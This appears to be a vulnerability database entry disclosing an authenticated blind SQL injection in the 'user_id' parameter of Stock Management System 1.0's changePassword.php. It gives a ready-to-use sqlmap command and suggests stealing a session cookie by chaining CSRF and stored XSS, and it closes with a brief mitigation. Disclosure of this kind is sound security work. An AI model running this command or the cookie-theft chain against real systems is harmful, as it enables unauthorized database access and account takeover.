vendor:
Stock Management System
by:
Riadh Benlamine (rbn0x00)
9
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Stock Management System
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:sourcecodester:stock_management_system:1.0
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: Apache2+MariaDB
2021
Stock Management System 1.0 – ‘user_id’ Blind SQL injection (Authenticated)
Stock Management System suffers from SQL injection in '/stock/php_action/changePassword.php' because it does not sanitize the input before pushing into the sql query. Leading to remote code execution. Vulnerable parameter: user_id=<injection point> SQLmap command: sqlmap -u http://<target_host>/stock/php_action/changePassword.php --data="password=invalidpassword&npassword=test&cpassword=test&user_id=1*" --cookie="PHPSESSID=<your cookie>" --is-dba Trick: We could steal the users cookie by chaining CSRF and stored XSS and then use the cookie to prefill the user_id parameter in the SQL injection.
Mitigation:
Input validation and sanitization should be done before pushing into the sql query.